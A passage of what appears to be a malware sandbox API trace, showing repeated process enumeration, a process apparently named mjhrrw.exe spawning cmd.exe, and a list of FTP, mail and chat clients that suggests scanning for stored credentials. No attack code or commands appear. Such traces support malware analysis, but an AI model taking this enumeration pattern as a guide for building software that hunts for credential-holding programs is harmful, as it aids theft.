pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0083.435] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0083.436] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0083.436] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0083.437] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.438] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11f4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.439] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x137c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.440] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0083.441] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0083.441] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0083.442] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x11b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0083.442] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0083.443] Process32NextW (in: hSnapshot=0x328, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x704, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0083.444] CloseHandle (hObject=0x328) returned 1 [0083.444] Sleep (dwMilliseconds=0x1f4) [0085.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0085.694] Process32FirstW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0085.695] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0085.696] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0085.697] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.698] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0085.698] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0085.699] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0085.700] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0085.700] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0085.701] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.702] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0085.703] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0085.703] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.704] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0085.704] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.705] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.706] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.706] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.707] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.707] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.708] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.709] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.709] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.710] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.711] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0085.711] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0085.712] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0086.027] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0086.028] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.029] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0086.029] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0086.030] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0086.031] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0086.032] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0086.032] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0086.033] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0086.034] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0086.035] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0086.036] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0086.036] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0086.037] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0086.038] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0086.039] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0086.040] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0086.041] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0086.041] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0086.042] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0086.043] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0086.044] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0086.045] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0086.046] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0086.046] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0086.047] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0086.048] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0086.049] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0086.049] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0086.050] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0086.051] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0086.052] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0086.053] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0086.054] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0086.056] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0086.057] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0086.059] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0086.060] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0086.062] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0086.063] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0086.064] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0086.065] Process32NextW (in: hSnapshot=0x324, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, 